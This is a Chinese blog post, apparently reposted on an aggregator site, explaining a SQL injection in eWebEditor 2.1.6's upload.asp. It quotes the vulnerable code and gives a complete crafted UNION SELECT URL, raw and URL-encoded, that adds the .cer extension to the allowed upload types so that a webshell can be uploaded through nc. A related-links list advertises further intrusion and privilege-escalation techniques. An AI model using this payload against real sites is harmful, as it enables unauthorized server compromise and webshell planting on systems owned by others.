当前位置: 首页 > news >正文

Ewebeditor 2.1.6上传漏洞 UNION运用-直接得SHELL

以前曾进过一个网站,把上传部份的asp代码下载回来研究,当时感觉有 漏洞但没仔细研究,还以为那是他们自已写的程序。
前几天看到ewebeditor有漏洞的文章才想起那个网站原来用的也是ewebeditor。今天仔细看了看,发现问题了(2.1.6版本以后不存在),可以指定上传后的文件扩展名为除asp外的任何,如果该网站没有删除cer、asa等文件与asp.dll的映射,就可以上传木马了。
问题出在upload.asp文件中,相关代码如下(以2.1.6版为例)
Sub InitUpload()
sType = UCase(Trim(Request.QueryString("type")))
*sStyleName = Trim(Request.QueryString("style"))
sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"
oRs.Open sSql, oConn, 0, 1
If Not oRs.Eof Then
sUploadDir = oRs("S_UploadDir")
sUploadDir = Replace(sUploadDir, "/", "/")
If Right(sUploadDir, 1) <> "/" Then
sUploadDir = sUploadDir & "/"
End If

Select Case sType
Case "FILE"
sAllowExt = oRs("S_FileExt")
nAllowSize = oRs("S_FileSize")
Case "MEDIA"
sAllowExt = oRs("S_MediaExt")
nAllowSize = oRs("S_MediaSize")
Case "FLASH"
sAllowExt = oRs("S_FlashExt")
nAllowSize = oRs("S_FlashSize")
Case Else
sAllowExt = oRs("S_ImageExt")
nAllowSize = oRs("S_ImageSize")
End Select
Else
OutScript("parent.UploadError('无效的样式ID号,请通过页面上的链接进行 操作!')")
End If
oRs.Close
' 任何情况下都不允许上传asp脚本文件
sAllowExt = Replace(UCase(sAllowExt), "ASP", "")
End Sub
上面的sStyleName变量直接从style中读取,并没有过滤,所以可以包含任意字符,往下看,用select在ewebeditor_style表中查找s_name为sStyleName的记录,找不到就提示出错。
表面上看有sql注入漏洞,有可能猜出 数据库的表、字段,但那些根本没用,管理员信息不在这个数据库中。
如果在sStyleName变量中用union来构造记录,情况就不同了,我们可以在sAllowExt中加入"|cer"、"|asa",
构造如下
upload.asp?action=save&type=IMAGE&style=hzh' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]+'|cer',S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_RemoteSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObject,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder from ewebeditor_style where s_name='standard' and 'a'='a
编码后就是
upload.asp?action=save&type=IMAGE&style=hzh'%20union%20select%20S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]%2b'|cer',S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_RemoteSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObject,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder%20from%20ewebeditor_style%20where%20s_name='standard'%20and%20'a'='a
上面的"hzh"可以改为任何字符,但由于只取第一条记录的数据,所以必须使union前的select结果为空,[S_ImageExt]+'|cer'表示在选择的S_ImageExt字段中加入"|cer"串。
用nc或其它 工具发送就可以上传木马了。
最后提一下union,UNION 操作一般被用来把来自表单、SELECT语句或查询的数据结合,并省略掉任何重复的行。所有的数据源必须有相同数目的域,不过这些域不一定要是相同的数据类型,即UNION操作不会显示任何在两个表单中重复出现的记录。利用UNION 的查询语句一定要与UNION前的查询语句字段列相等。

相关文章:

  • 巧妙利用表自联偏移注入ACC数据库拿webshell(图)
  • 利用脚本和命令绕过系统权限添加账号
  • webshell路径中带分号点号如.asp,.asa,.cdx,.cer的访问方法总结
  • ewebeditor 2.8 后台插上一句话
  • 网站后台备份自动备份成ASA格式却并不解析拿Shell方法
  • MYSQL提权新方法ROOT密码查找
  • 1433终极入侵之沙盒模式
  • ashx脚本写入脚本文件拿webshell
  • SA权限沙合模式提权方法
  • 渗透技巧总结
  • 添加SHIFT后门又一法
  • 星外提权目录
  • MSSQL SA错误提权集锦
  • VirtualBox 虚拟机下让Ubuntu系统全屏
  • Linux上登陆QQ自动消失的解决办法
  • 230. Kth Smallest Element in a BST
  • ES6, React, Redux, Webpack写的一个爬 GitHub 的网页
  • gitlab-ci配置详解(一)
  • JAVA_NIO系列——Channel和Buffer详解
  • JS学习笔记——闭包
  • Python 使用 Tornado 框架实现 WebHook 自动部署 Git 项目
  • VuePress 静态网站生成
  • Vue组件定义
  • 高度不固定时垂直居中
  • 工作踩坑系列——https访问遇到“已阻止载入混合活动内容”
  • 判断客户端类型,Android,iOS,PC
  • 如何打造100亿SDK累计覆盖量的大数据系统
  • 微信小程序上拉加载:onReachBottom详解+设置触发距离
  • 译有关态射的一切
  • 白色的风信子
  • 测评:对于写作的人来说,Markdown是你最好的朋友 ...
  • 基于django的视频点播网站开发-step3-注册登录功能 ...
  • 资深实践篇 | 基于Kubernetes 1.61的Kubernetes Scheduler 调度详解 ...
  • ![CDATA[ ]] 是什么东东
  • #pragam once 和 #ifndef 预编译头
  • #pragma预处理命令
  • #stm32整理(一)flash读写
  • $emit传递多个参数_PPC和MIPS指令集下二进制代码中函数参数个数的识别方法
  • $NOIp2018$劝退记
  • (10)STL算法之搜索(二) 二分查找
  • (2)关于RabbitMq 的 Topic Exchange 主题交换机
  • (3)nginx 配置(nginx.conf)
  • (C#)Windows Shell 外壳编程系列4 - 上下文菜单(iContextMenu)(二)嵌入菜单和执行命令...
  • (day 2)JavaScript学习笔记(基础之变量、常量和注释)
  • (SpringBoot)第二章:Spring创建和使用
  • (附源码)springboot宠物医疗服务网站 毕业设计688413
  • (免费领源码)Java#ssm#MySQL 创意商城03663-计算机毕业设计项目选题推荐
  • (一)认识微服务
  • (转)ObjectiveC 深浅拷贝学习
  • (转)利用ant在Mac 下自动化打包签名Android程序
  • .a文件和.so文件
  • .NET 动态调用WebService + WSE + UsernameToken
  • .NET程序员迈向卓越的必由之路
  • [ vulhub漏洞复现篇 ] JBOSS AS 4.x以下反序列化远程代码执行漏洞CVE-2017-7504
  • [ 代码审计篇 ] 代码审计案例详解(一) SQL注入代码审计案例